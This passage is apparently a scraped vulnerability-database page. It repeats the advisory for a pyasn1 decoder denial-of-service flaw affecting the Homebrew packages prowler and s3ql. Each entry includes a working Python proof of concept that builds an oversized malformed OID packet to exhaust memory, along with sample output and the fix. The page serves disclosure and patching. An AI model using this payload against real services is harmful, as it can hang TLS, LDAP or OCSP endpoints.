    https://access.redhat.com/errata/RHSA-2026:1903 WEB
    https://access.redhat.com/errata/RHSA-2026:17611 WEB
    https://access.redhat.com/errata/RHSA-2026:17595 WEB
    https://access.redhat.com/errata/RHSA-2026:17446 WEB
    https://access.redhat.com/errata/RHSA-2026:14020 WEB
    https://access.redhat.com/errata/RHSA-2026:13553 WEB
    https://access.redhat.com/errata/RHSA-2026:13545 WEB
    https://access.redhat.com/errata/RHSA-2026:13512 WEB
    https://access.redhat.com/errata/RHSA-2026:13508 WEB
    https://access.redhat.com/errata/RHSA-2026:37275 WEB
    https://access.redhat.com/errata/RHSA-2026:3359 WEB
    https://access.redhat.com/errata/RHSA-2026:3354 WEB
    https://access.redhat.com/errata/RHSA-2026:30088 WEB
    https://access.redhat.com/errata/RHSA-2026:28042 WEB
    https://access.redhat.com/errata/RHSA-2026:2758 WEB
    https://access.redhat.com/errata/RHSA-2026:2712 WEB
    https://access.redhat.com/errata/RHSA-2026:24977 WEB
    https://access.redhat.com/errata/RHSA-2026:24866 WEB
    https://access.redhat.com/errata/RHSA-2026:2486 WEB
    https://access.redhat.com/errata/RHSA-2026:2483 WEB
    https://access.redhat.com/errata/RHSA-2026:2460 WEB
    https://access.redhat.com/errata/RHSA-2026:2453 WEB
    https://access.redhat.com/errata/RHSA-2026:24483 WEB
    https://access.redhat.com/errata/RHSA-2026:24476 WEB
    https://access.redhat.com/errata/RHSA-2026:2309 WEB
    https://access.redhat.com/errata/RHSA-2026:2303 WEB

    {
      "affected": [
        {
          "ecosystem_specific": {
            "fix": "bump",
            "range_state": "fixed",
            "resource": "pyasn1",
            "resource_purl": "pkg:pypi/pyasn1@0.6.5",
            "upstream_fixed_in": "0.6.2"
          },
          "package": {
            "ecosystem": "Homebrew",
            "name": "prowler",
            "purl": "pkg:brew/prowler"
          },
          "ranges": [
            {
              "events": [
                {
                  "introduced": "4.3.6"
                },
                {
                  "fixed": "5.16.1_4"
                }
              ],
              "type": "ECOSYSTEM"
            }
          ]
        }
      ],
      "database_specific": {
        "confidence": "high",
        "source": "matched",
        "strategy": "registry",
        "upstream_evidence": [
          {
            "ecosystem": "PyPI",
            "key": "pkg:pypi/pyasn1@0.6.5",
            "name": "pyasn1",
            "resource": "pyasn1",
            "strategy": "registry",
            "subject_version": "0.6.5"
          }
        ]
      },
      "details": "### Summary\n\nAfter reviewing pyasn1 v0.6.1 a Denial-of-Service issue has been found that leads to memory exhaustion from malformed RELATIVE-OID with excessive continuation octets.\n\n### Details\n\nThe integer issue can be found in the decoder as `reloid += ((subId \u003c\u003c 7) + nextSubId,)`: https://github.com/pyasn1/pyasn1/blob/main/pyasn1/codec/ber/decoder.py#L496\n\n### PoC\n\nFor the DoS:\n```py\nimport pyasn1.codec.ber.decoder as decoder\nimport pyasn1.type.univ as univ\nimport sys\nimport resource\n\n# Deliberately set memory limit to display PoC\ntry:\n    resource.setrlimit(resource.RLIMIT_AS, (100*1024*1024, 100*1024*1024))\n    print(\"[*] Memory limit set to 100MB\")\nexcept:\n    print(\"[-] Could not set memory limit\")\n\n# Test with different payload sizes to find the DoS threshold\npayload_size_mb = int(sys.argv[1])\n\nprint(f\"[*] Testing with {payload_size_mb}MB payload...\")\n\npayload_size = payload_size_mb * 1024 * 1024\n# Create payload with continuation octets\n# Each 0x81 byte indicates continuation, causing bit shifting in decoder\npayload = b\u0027\\x81\u0027 * payload_size + b\u0027\\x00\u0027\nlength = len(payload)\n\n# DER length encoding (supports up to 4GB)\nif length \u003c 128:\n    length_bytes = bytes([length])\nelif length \u003c 256:\n    length_bytes = b\u0027\\x81\u0027 + length.to_bytes(1, \u0027big\u0027)\nelif length \u003c 256**2:\n    length_bytes = b\u0027\\x82\u0027 + length.to_bytes(2, \u0027big\u0027)\nelif length \u003c 256**3:\n    length_bytes = b\u0027\\x83\u0027 + length.to_bytes(3, \u0027big\u0027)\nelse:\n    # 4 bytes can handle up to 4GB\n    length_bytes = b\u0027\\x84\u0027 + length.to_bytes(4, \u0027big\u0027)\n\n# Use OID (0x06) for more aggressive parsing\nmalicious_packet = b\u0027\\x06\u0027 + length_bytes + payload\n\nprint(f\"[*] Packet size: {len(malicious_packet) / 1024 / 1024:.1f} MB\")\n\ntry:\n    print(\"[*] Decoding (this may take time or exhaust memory)...\")\n    result = decoder.decode(malicious_packet, asn1Spec=univ.ObjectIdentifier())\n\n    print(f\u0027[+] Decoded successfully\u0027)\n    print(f\u0027[!] Object size: {sys.getsizeof(result[0])} bytes\u0027)\n\n    # Try to convert to string\n    print(\u0027[*] Converting to string...\u0027)\n    try:\n        str_result = str(result[0])\n        print(f\u0027[+] String succeeded: {len(str_result)} chars\u0027)\n        if len(str_result) \u003e 10000:\n            print(f\u0027[!] MEMORY EXPLOSION: {len(str_result)} character string!\u0027)\n    except MemoryError:\n        print(f\u0027[-] MemoryError during string conversion!\u0027)\n    except Exception as e:\n        print(f\u0027[-] {type(e).__name__} during string conversion\u0027)\n\nexcept MemoryError:\n    print(\u0027[-] MemoryError: Out of memory!\u0027)\nexcept Exception as e:\n    print(f\u0027[-] Error: {type(e).__name__}: {e}\u0027)\n\n\nprint(\"\\n[*] Test completed\")\n```\n\n\nScreenshots with the results:\n\n#### DoS\n\u003cimg width=\"944\" height=\"207\" alt=\"Screenshot_20251219_160840\" src=\"https://github.com/user-attachments/assets/68b9566b-5ee1-47b0-a269-605b037dfc4f\" /\u003e\n\n\u003cimg width=\"931\" height=\"231\" alt=\"Screenshot_20251219_152815\" src=\"https://github.com/user-attachments/assets/62eacf4f-eb31-4fba-b7a8-e8151484a9fa\" /\u003e\n\n#### Leak analysis\n\nA potential heap leak was investigated but came back clean:\n```\n[*] Creating 1000KB payload...\n[*] Decoding with pyasn1...\n[*] Materializing to string...\n[+] Decoded 2157784 characters\n[+] Binary representation: 896001 bytes\n[+] Dumped to heap_dump.bin\n\n[*] First 64 bytes (hex):\n  01020408102040810204081020408102040810204081020408102040810204081020408102040810204081020408102040810204081020408102040810204081\n\n[*] First 64 bytes (ASCII/hex dump):\n  0000: 01 02 04 08 10 20 40 81 02 04 08 10 20 40 81 02  ..... @..... @..\n  0010: 04 08 10 20 40 81 02 04 08 10 20 40 81 02 04 08  ... @..... @....\n  0020: 10 20 40 81 02 04 08 10 20 40 81 02 04 08 10 20  . @..... @..... \n  0030: 40 81 02 04 08 10 20 40 81 02 04 08 10 20 40 81  @..... @..... @.\n\n[*] Digit distribution analysis:\n  \u00270\u0027:  10.1%\n  \u00271\u0027:   9.9%\n  \u00272\u0027:  10.0%\n  \u00273\u0027:   9.9%\n  \u00274\u0027:   9.9%\n  \u00275\u0027:  10.0%\n  \u00276\u0027:  10.0%\n  \u00277\u0027:  10.0%\n  \u00278\u0027:   9.9%\n  \u00279\u0027:  10.1%\n```\n\n### Scenario\n\n1. An attacker creates a malicious X.509 certificate.\n2. The application validates certificates.\n3. The application accepts the malicious certificate and tries decoding resulting in the issues mentioned above.\n\n### Impact\n\nThis issue can affect resource consumption and hang systems or stop services.\nThis may affect:\n- LDAP servers\n- TLS/SSL endpoints\n- OCSP responders\n- etc.\n\n### Recommendation\n\nAdd a limit to the allowed bytes in the decoder.",
      "id": "BREW-prowler-CVE-2026-23490",
      "modified": "2026-10-31T09:40:41Z",
      "published": "2026-08-13T17:29:23Z",
      "references": [
        {
          "type": "WEB",
          "url": "https://github.com/pyasn1/pyasn1/security/advisories/GHSA-63vm-454h-vhhq"
        },
        {
          "type": "ADVISORY",
          "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-23490"
        },
        {
          "type": "WEB",
          "url": "https://github.com/pyasn1/pyasn1/commit/be353d755f42ea36539b4f5053c652ddf56979a6"
        },
        {
          "type": "WEB",
          "url": "https://github.com/pyasn1/pyasn1/commit/3908f144229eed4df24bd569d16e5991ace44970"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:4148"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:4147"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:4146"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:4145"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:4144"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:4143"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:4142"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:4141"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:4140"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:4139"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:4138"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:39894"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:3959"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:3958"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:2302"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:41928"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:42644"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:4943"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:54757"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:5606"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/security/cve/CVE-2026-23490"
        },
        {
          "type": "WEB",
          "url": "https://bugzilla.redhat.com/show_bug.cgi?id=2430472"
        },
        {
          "type": "ADVISORY",
          "url": "https://github.com/advisories/GHSA-63vm-454h-vhhq"
        },
        {
          "type": "PACKAGE",
          "url": "https://github.com/pyasn1/pyasn1"
        },
        {
          "type": "WEB",
          "url": "https://github.com/pyasn1/pyasn1/blob/0f07d7242a78ab4d129b26256d7474f7168cf536/pyasn1/codec/ber/decoder.py#L496"
        },
        {
          "type": "WEB",
          "url": "https://github.com/pyasn1/pyasn1/releases/tag/v0.6.2"
        },
        {
          "type": "WEB",
          "url": "https://github.com/pypa/advisory-database/tree/main/vulns/pyasn1/PYSEC-2026-1810.yaml"
        },
        {
          "type": "WEB",
          "url": "https://lists.debian.org/debian-lts-announce/2026/02/msg00002.html"
        },
        {
          "type": "WEB",
          "url": "https://pypi.org/project/pyasn1"
        },
        {
          "type": "WEB",
          "url": "https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-23490.json"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:2300"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:2299"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:2221"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:19712"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:1906"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:1905"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:1904"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:1903"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:17611"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:17595"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:17446"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:14020"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:13553"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:13545"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:13512"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:13508"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:37275"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:3359"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:3354"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:30088"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:28042"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:2758"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:2712"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:24977"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:24866"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:2486"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:2483"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:2460"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:2453"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:24483"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:24476"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:2309"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:2303"
        }
      ],
      "schema_version": "1.7.3",
      "severity": [
        {
          "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
          "type": "CVSS_V3"
        }
      ],
      "summary": "pyasn1 has a DoS vulnerability in decoder",
      "upstream": [
        "GHSA-63vm-454h-vhhq",
        "CVE-2026-23490",
        "PYSEC-2026-1810"
      ]
    }

    BREW-S3QL-CVE-2026-23490 (GHSA-63VM-454H-VHHQ)

    Vulnerability from osv_homebrew – Published: 2026-08-13 17:33 – Updated: 2026-10-31 19:05 – Source website
    VLAI
    Summary
    pyasn1 has a DoS vulnerability in decoder
    Details

    Summary

    After reviewing pyasn1 v0.6.1 a Denial-of-Service issue has been found that leads to memory exhaustion from malformed RELATIVE-OID with excessive continuation octets.

    Details

    The integer issue can be found in the decoder as reloid += ((subId << 7) + nextSubId,): https://github.com/pyasn1/pyasn1/blob/main/pyasn1/codec/ber/decoder.py#L496

    PoC

    For the DoS:

    import pyasn1.codec.ber.decoder as decoder
    import pyasn1.type.univ as univ
    import sys
    import resource
    
    # Deliberately set memory limit to display PoC
    try:
        resource.setrlimit(resource.RLIMIT_AS, (100*1024*1024, 100*1024*1024))
        print("[*] Memory limit set to 100MB")
    except:
        print("[-] Could not set memory limit")
    
    # Test with different payload sizes to find the DoS threshold
    payload_size_mb = int(sys.argv[1])
    
    print(f"[*] Testing with {payload_size_mb}MB payload...")
    
    payload_size = payload_size_mb * 1024 * 1024
    # Create payload with continuation octets
    # Each 0x81 byte indicates continuation, causing bit shifting in decoder
    payload = b'\x81' * payload_size + b'\x00'
    length = len(payload)
    
    # DER length encoding (supports up to 4GB)
    if length < 128:
        length_bytes = bytes([length])
    elif length < 256:
        length_bytes = b'\x81' + length.to_bytes(1, 'big')
    elif length < 256**2:
        length_bytes = b'\x82' + length.to_bytes(2, 'big')
    elif length < 256**3:
        length_bytes = b'\x83' + length.to_bytes(3, 'big')
    else:
        # 4 bytes can handle up to 4GB
        length_bytes = b'\x84' + length.to_bytes(4, 'big')
    
    # Use OID (0x06) for more aggressive parsing
    malicious_packet = b'\x06' + length_bytes + payload
    
    print(f"[*] Packet size: {len(malicious_packet) / 1024 / 1024:.1f} MB")
    
    try:
        print("[*] Decoding (this may take time or exhaust memory)...")
        result = decoder.decode(malicious_packet, asn1Spec=univ.ObjectIdentifier())
    
        print(f'[+] Decoded successfully')
        print(f'[!] Object size: {sys.getsizeof(result[0])} bytes')
    
        # Try to convert to string
        print('[*] Converting to string...')
        try:
            str_result = str(result[0])
            print(f'[+] String succeeded: {len(str_result)} chars')
            if len(str_result) > 10000:
                print(f'[!] MEMORY EXPLOSION: {len(str_result)} character string!')
        except MemoryError:
            print(f'[-] MemoryError during string conversion!')
        except Exception as e:
            print(f'[-] {type(e).__name__} during string conversion')
    
    except MemoryError:
        print('[-] MemoryError: Out of memory!')
    except Exception as e:
        print(f'[-] Error: {type(e).__name__}: {e}')
    
    
    print("\n[*] Test completed")
    

    Screenshots with the results:

    DoS

    Screenshot_20251219_160840

    Screenshot_20251219_152815

    Leak analysis

    A potential heap leak was investigated but came back clean:

    [*] Creating 1000KB payload...
    [*] Decoding with pyasn1...
    [*] Materializing to string...
    [+] Decoded 2157784 characters
    [+] Binary representation: 896001 bytes
    [+] Dumped to heap_dump.bin
    
    [*] First 64 bytes (hex):
      01020408102040810204081020408102040810204081020408102040810204081020408102040810204081020408102040810204081020408102040810204081
    
    [*] First 64 bytes (ASCII/hex dump):
      0000: 01 02 04 08 10 20 40 81 02 04 08 10 20 40 81 02  ..... @..... @..
      0010: 04 08 10 20 40 81 02 04 08 10 20 40 81 02 04 08  ... @..... @....
      0020: 10 20 40 81 02 04 08 10 20 40 81 02 04 08 10 20  . @..... @..... 
      0030: 40 81 02 04 08 10 20 40 81 02 04 08 10 20 40 81  @..... @..... @.
    
    [*] Digit distribution analysis:
      '0':  10.1%
      '1':   9.9%
      '2':  10.0%
      '3':   9.9%
      '4':   9.9%
      '5':  10.0%
      '6':  10.0%
      '7':  10.0%
      '8':   9.9%
      '9':  10.1%
    

    Scenario

    1. An attacker creates a malicious X.509 certificate.
    2. The application validates certificates.
    3. The application accepts the malicious certificate and tries decoding resulting in the issues mentioned above.

    Impact

    This issue can affect resource consumption and hang systems or stop services. This may affect: - LDAP servers - TLS/SSL endpoints - OCSP responders - etc.

    Recommendation

    Add a limit to the allowed bytes in the decoder.

    References
    https://github.com/pyasn1/pyasn1/security/advisor… WEB
    https://nvd.nist.gov/vuln/detail/CVE-2026-23490 ADVISORY
    https://github.com/pyasn1/pyasn1/commit/be353d755… WEB
    https://github.com/pyasn1/pyasn1/commit/3908f1442… WEB
    https://access.redhat.com/errata/RHSA-2026:4148 WEB
    https://access.redhat.com/errata/RHSA-2026:4147 WEB
    https://access.redhat.com/errata/RHSA-2026:4146 WEB
    https://access.redhat.com/errata/RHSA-2026:4145 WEB
    https://access.redhat.com/errata/RHSA-2026:4144 WEB
    https://access.redhat.com/errata/RHSA-2026:4143 WEB
    https://access.redhat.com/errata/RHSA-2026:4142 WEB
    https://access.redhat.com/errata/RHSA-2026:4141 WEB
    https://access.redhat.com/errata/RHSA-2026:4140 WEB
    https://access.redhat.com/errata/RHSA-2026:4139 WEB
    https://access.redhat.com/errata/RHSA-2026:4138 WEB
    https://access.redhat.com/errata/RHSA-2026:39894 WEB
    https://access.redhat.com/errata/RHSA-2026:3959 WEB
    https://access.redhat.com/errata/RHSA-2026:3958 WEB
    https://access.redhat.com/errata/RHSA-2026:2302 WEB
    https://access.redhat.com/errata/RHSA-2026:41928 WEB
    https://access.redhat.com/errata/RHSA-2026:42644 WEB
    https://access.redhat.com/errata/RHSA-2026:4943 WEB
    https://access.redhat.com/errata/RHSA-2026:54757 WEB
    https://access.redhat.com/errata/RHSA-2026:5606 WEB
    https://access.redhat.com/security/cve/CVE-2026-23490 WEB
    https://bugzilla.redhat.com/show_bug.cgi?id=2430472 WEB
    https://github.com/advisories/GHSA-63vm-454h-vhhq ADVISORY
    https://github.com/pyasn1/pyasn1 PACKAGE
    https://github.com/pyasn1/pyasn1/blob/0f07d7242a7… WEB
    https://github.com/pyasn1/pyasn1/releases/tag/v0.6.2 WEB
    https://github.com/pypa/advisory-database/tree/ma… WEB
    https://lists.debian.org/debian-lts-announce/2026… WEB
    https://pypi.org/project/pyasn1 WEB
    https://security.access.redhat.com/data/csaf/v2/v… WEB
    https://access.redhat.com/errata/RHSA-2026:2300 WEB
    https://access.redhat.com/errata/RHSA-2026:2299 WEB
    https://access.redhat.com/errata/RHSA-2026:2221 WEB
    https://access.redhat.com/errata/RHSA-2026:19712 WEB
    https://access.redhat.com/errata/RHSA-2026:1906 WEB
    https://access.redhat.com/errata/RHSA-2026:1905 WEB
    https://access.redhat.com/errata/RHSA-2026:1904 WEB
    https://access.redhat.com/errata/RHSA-2026:1903 WEB
    https://access.redhat.com/errata/RHSA-2026:17611 WEB
    https://access.redhat.com/errata/RHSA-2026:17595 WEB
    https://access.redhat.com/errata/RHSA-2026:17446 WEB
    https://access.redhat.com/errata/RHSA-2026:14020 WEB
    https://access.redhat.com/errata/RHSA-2026:13553 WEB
    https://access.redhat.com/errata/RHSA-2026:13545 WEB
    https://access.redhat.com/errata/RHSA-2026:13512 WEB
    https://access.redhat.com/errata/RHSA-2026:13508 WEB
    https://access.redhat.com/errata/RHSA-2026:37275 WEB
    https://access.redhat.com/errata/RHSA-2026:3359 WEB
    https://access.redhat.com/errata/RHSA-2026:3354 WEB
    https://access.redhat.com/errata/RHSA-2026:30088 WEB
    https://access.redhat.com/errata/RHSA-2026:28042 WEB
    https://access.redhat.com/errata/RHSA-2026:2758 WEB
    https://access.redhat.com/errata/RHSA-2026:2712 WEB
    https://access.redhat.com/errata/RHSA-2026:24977 WEB
    https://access.redhat.com/errata/RHSA-2026:24866 WEB
    https://access.redhat.com/errata/RHSA-2026:2486 WEB
    https://access.redhat.com/errata/RHSA-2026:2483 WEB
    https://access.redhat.com/errata/RHSA-2026:2460 WEB
    https://access.redhat.com/errata/RHSA-2026:2453 WEB
    https://access.redhat.com/errata/RHSA-2026:24483 WEB
    https://access.redhat.com/errata/RHSA-2026:24476 WEB
    https://access.redhat.com/errata/RHSA-2026:2309 WEB
    https://access.redhat.com/errata/RHSA-2026:2303 WEB

    {
      "affected": [
        {
          "ecosystem_specific": {
            "fix": "bump",
            "range_state": "fixed",
            "resource": "pyasn1",
            "resource_purl": "pkg:pypi/pyasn1@0.6.5",
            "upstream_fixed_in": "0.6.2"
          },
          "package": {
            "ecosystem": "Homebrew",
            "name": "s3ql",
            "purl": "pkg:brew/s3ql"
          },
          "ranges": [
            {
              "events": [
                {
                  "introduced": "0"
                },
                {
                  "fixed": "6.3.0"
                }
              ],
              "type": "ECOSYSTEM"
            }
          ]
        }
      ],
      "database_specific": {
        "confidence": "high",
        "source": "matched",
        "strategy": "registry",
        "upstream_evidence": [
          {
            "ecosystem": "PyPI",
            "key": "pkg:pypi/pyasn1@0.6.5",
            "name": "pyasn1",
            "resource": "pyasn1",
            "strategy": "registry",
            "subject_version": "0.6.5"
          }
        ]
      },
      "details": "### Summary\n\nAfter reviewing pyasn1 v0.6.1 a Denial-of-Service issue has been found that leads to memory exhaustion from malformed RELATIVE-OID with excessive continuation octets.\n\n### Details\n\nThe integer issue can be found in the decoder as `reloid += ((subId \u003c\u003c 7) + nextSubId,)`: https://github.com/pyasn1/pyasn1/blob/main/pyasn1/codec/ber/decoder.py#L496\n\n### PoC\n\nFor the DoS:\n```py\nimport pyasn1.codec.ber.decoder as decoder\nimport pyasn1.type.univ as univ\nimport sys\nimport resource\n\n# Deliberately set memory limit to display PoC\ntry:\n    resource.setrlimit(resource.RLIMIT_AS, (100*1024*1024, 100*1024*1024))\n    print(\"[*] Memory limit set to 100MB\")\nexcept:\n    print(\"[-] Could not set memory limit\")\n\n# Test with different payload sizes to find the DoS threshold\npayload_size_mb = int(sys.argv[1])\n\nprint(f\"[*] Testing with {payload_size_mb}MB payload...\")\n\npayload_size = payload_size_mb * 1024 * 1024\n# Create payload with continuation octets\n# Each 0x81 byte indicates continuation, causing bit shifting in decoder\npayload = b\u0027\\x81\u0027 * payload_size + b\u0027\\x00\u0027\nlength = len(payload)\n\n# DER length encoding (supports up to 4GB)\nif length \u003c 128:\n    length_bytes = bytes([length])\nelif length \u003c 256:\n    length_bytes = b\u0027\\x81\u0027 + length.to_bytes(1, \u0027big\u0027)\nelif length \u003c 256**2:\n    length_bytes = b\u0027\\x82\u0027 + length.to_bytes(2, \u0027big\u0027)\nelif length \u003c 256**3:\n    length_bytes = b\u0027\\x83\u0027 + length.to_bytes(3, \u0027big\u0027)\nelse:\n    # 4 bytes can handle up to 4GB\n    length_bytes = b\u0027\\x84\u0027 + length.to_bytes(4, \u0027big\u0027)\n\n# Use OID (0x06) for more aggressive parsing\nmalicious_packet = b\u0027\\x06\u0027 + length_bytes + payload\n\nprint(f\"[*] Packet size: {len(malicious_packet) / 1024 / 1024:.1f} MB\")\n\ntry:\n    print(\"[*] Decoding (this may take time or exhaust memory)...\")\n    result = decoder.decode(malicious_packet, asn1Spec=univ.ObjectIdentifier())\n\n    print(f\u0027[+] Decoded successfully\u0027)\n    print(f\u0027[!] Object size: {sys.getsizeof(result[0])} bytes\u0027)\n\n    # Try to convert to string\n    print(\u0027[*] Converting to string...\u0027)\n    try:\n        str_result = str(result[0])\n        print(f\u0027[+] String succeeded: {len(str_result)} chars\u0027)\n        if len(str_result) \u003e 10000:\n            print(f\u0027[!] MEMORY EXPLOSION: {len(str_result)} character string!\u0027)\n    except MemoryError:\n        print(f\u0027[-] MemoryError during string conversion!\u0027)\n    except Exception as e:\n        print(f\u0027[-] {type(e).__name__} during string conversion\u0027)\n\nexcept MemoryError:\n    print(\u0027[-] MemoryError: Out of memory!\u0027)\nexcept Exception as e:\n    print(f\u0027[-] Error: {type(e).__name__}: {e}\u0027)\n\n\nprint(\"\\n[*] Test completed\")\n```\n\n\nScreenshots with the results:\n\n#### DoS\n\u003cimg width=\"944\" height=\"207\" alt=\"Screenshot_20251219_160840\" src=\"https://github.com/user-attachments/assets/68b9566b-5ee1-47b0-a269-605b037dfc4f\" /\u003e\n\n\u003cimg width=\"931\" height=\"231\" alt=\"Screenshot_20251219_152815\" src=\"https://github.com/user-attachments/assets/62eacf4f-eb31-4fba-b7a8-e8151484a9fa\" /\u003e\n\n#### Leak analysis\n\nA potential heap leak was investigated but came back clean:\n```\n[*] Creating 1000KB payload...\n[*] Decoding with pyasn1...\n[*] Materializing to string...\n[+] Decoded 2157784 characters\n[+] Binary representation: 896001 bytes\n[+] Dumped to heap_dump.bin\n\n[*] First 64 bytes (hex):\n  01020408102040810204081020408102040810204081020408102040810204081020408102040810204081020408102040810204081020408102040810204081\n\n[*] First 64 bytes (ASCII/hex dump):\n  0000: 01 02 04 08 10 20 40 81 02 04 08 10 20 40 81 02  ..... @..... @..\n  0010: 04 08 10 20 40 81 02 04 08 10 20 40 81 02 04 08  ... @..... @....\n  0020: 10 20 40 81 02 04 08 10 20 40 81 02 04 08 10 20  . @..... @..... \n  0030: 40 81 02 04 08 10 20 40 81 02 04 08 10 20 40 81  @..... @..... @.\n\n[*] Digit distribution analysis:\n  \u00270\u0027:  10.1%\n  \u00271\u0027:   9.9%\n  \u00272\u0027:  10.0%\n  \u00273\u0027:   9.9%\n  \u00274\u0027:   9.9%\n  \u00275\u0027:  10.0%\n  \u00276\u0027:  10.0%\n  \u00277\u0027:  10.0%\n  \u00278\u0027:   9.9%\n  \u00279\u0027:  10.1%\n```\n\n### Scenario\n\n1. An attacker creates a malicious X.509 certificate.\n2. The application validates certificates.\n3. The application accepts the malicious certificate and tries decoding resulting in the issues mentioned above.\n\n### Impact\n\nThis issue can affect resource consumption and hang systems or stop services.\nThis may affect:\n- LDAP servers\n- TLS/SSL endpoints\n- OCSP responders\n- etc.\n\n### Recommendation\n\nAdd a limit to the allowed bytes in the decoder.",
      "id": "BREW-s3ql-CVE-2026-23490",
      "modified": "2026-10-31T19:05:28Z",
      "published": "2026-08-13T17:33:32Z",
      "references": [
        {
          "type": "WEB",
          "url": "https://github.com/pyasn1/pyasn1/security/advisories/GHSA-63vm-454h-vhhq"
        },
        {
          "type": "ADVISORY",
          "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-23490"
        },
        {
          "type": "WEB",
          "url": "https://github.com/pyasn1/pyasn1/commit/be353d755f42ea36539b4f5053c652ddf56979a6"
        },
        {
          "type": "WEB",
          "url": "https://github.com/pyasn1/pyasn1/commit/3908f144229eed4df24bd569d16e5991ace44970"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:4148"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:4147"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:4146"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:4145"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:4144"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:4143"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:4142"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:4141"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:4140"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:4139"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:4138"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:39894"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:3959"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:3958"
        },
        {
          "type": "WEB",
